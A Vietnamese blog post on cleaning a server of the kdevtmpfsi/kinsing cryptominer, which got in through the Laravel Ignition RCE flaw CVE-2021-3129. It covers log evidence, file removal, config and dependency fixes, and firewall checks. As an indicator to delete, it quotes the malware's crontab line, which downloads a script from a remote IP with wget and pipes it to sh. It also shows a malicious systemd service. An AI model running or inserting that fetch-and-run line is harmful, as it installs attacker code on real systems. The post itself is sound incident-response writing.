Hướng dẫn loại bỏ mining malware kdevtmpfsi/kinsing

Microvn17 tháng 9 • 3 min read • 

Một ngày đẹp trời mình đã thấy 1 trong những máy chủ cũ của mình cảnh báo mức CPU 300%, mình nghĩ chỉ là 1 process thông thường nào đó mà nó bị nghẽn mà thôi, nhưng 1 lúc sau lại có một cảnh báo tương tự và vì vậy mình đã dạo 1 vòng để kiểm tra nó.

Bụp:

Ảnh mình lấy internet vì lúc đó quên không chụp lại =))

2 tiến trình đào coin đang chạy như "cờ hó tuột xích", khiến cho CPU tăng cao một cách bất thường.

Lượt một vòng kiểm tra xem lí do vì sao nào..

Kiểm tra Log:

Một loạt các request được Nginx log lại.

[11/Sep/2021:00:34:20 +0000] 45.146.164.110 "POST /_ignition/execute-solution HTTP/1.1" 200

Tiếp tục dựa vào thông tin từ process và log, mình lần mò thì con này có từ tháng 2/2021 cơ =))

Link khai thác về bug CVE-2021-3129 này: https://www.ambionics.io/blog/laravel-debug-rce

Đã có rất nhiều issues được raise lên và cũng đã có nhiều cách fix, sau đó mình tổng hợp lại và bắt đầu xử lý chúng.

- https://github.com/facade/ignition/issues/350
- https://github.com/docker-library/redis/issues/217
- https://github.com/laradock/laradock/issues/2451

Dưới đây mình tổng hợp lại các cách mà các SE khác đã hướng dẫn trên Internet.

Loại bỏ virus

#Tìm và xóa
find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

#Tạo file mới cùng tên và sửa lại quyền read-only
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi

echo "kinsing is fine now" > /var/tmp/kinsing

chattr +i /tmp/kdevtmpfsi
 
chattr +i /var/tmp/kinsing


Kiểm tra lại ENV

...
APP_DEBUG=true
...
Đừng quên set APP_DEBUG=FALSE nhé


Kiểm tra và cập nhật thư viện facade/ignition nên cao hơn 2.5.1

...
"facade/ignition": "^2.5.1",
...
composer update facade/ignition

Loại bỏ crontab nếu phát hiện điều này

* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Kiểm tra service của máy chủ

/usr/lib/systemd/system/bot.service
ExecStart=/etc/kinsing

Kiểm tra Port/Firewall máy chủ, đảm bảo Port 9000 không được public

Ngoài ra: không nên sử dụng Laradock trong môi trường Production. Nếu đang sử dụng bạn cần kiểm tra các công 3306, 9000 có đang mở hay không.

Tổng kết

Trên đây là các cách để kiểm tra và fix lỗi mình tổng hợp lại được.

May mắn là mình có sử dụng Docker nữa, nên mình đã xóa và re-up lại toàn bộ container trong 1 nốt nhạc (Giá trị nhất cái quả này), chứ mà cài luôn trên máy chủ thì giờ đang ngồi scan vỡ mặt thớt rồi.

Sau 4 bước trên thì máy chủ của mình đã ổn định trở lại CPU gần như ~0.x%.

Chúc các bạn thành công.

#Tin Cùng Chuyên Mục
#Có Thể Bạn Chưa Biết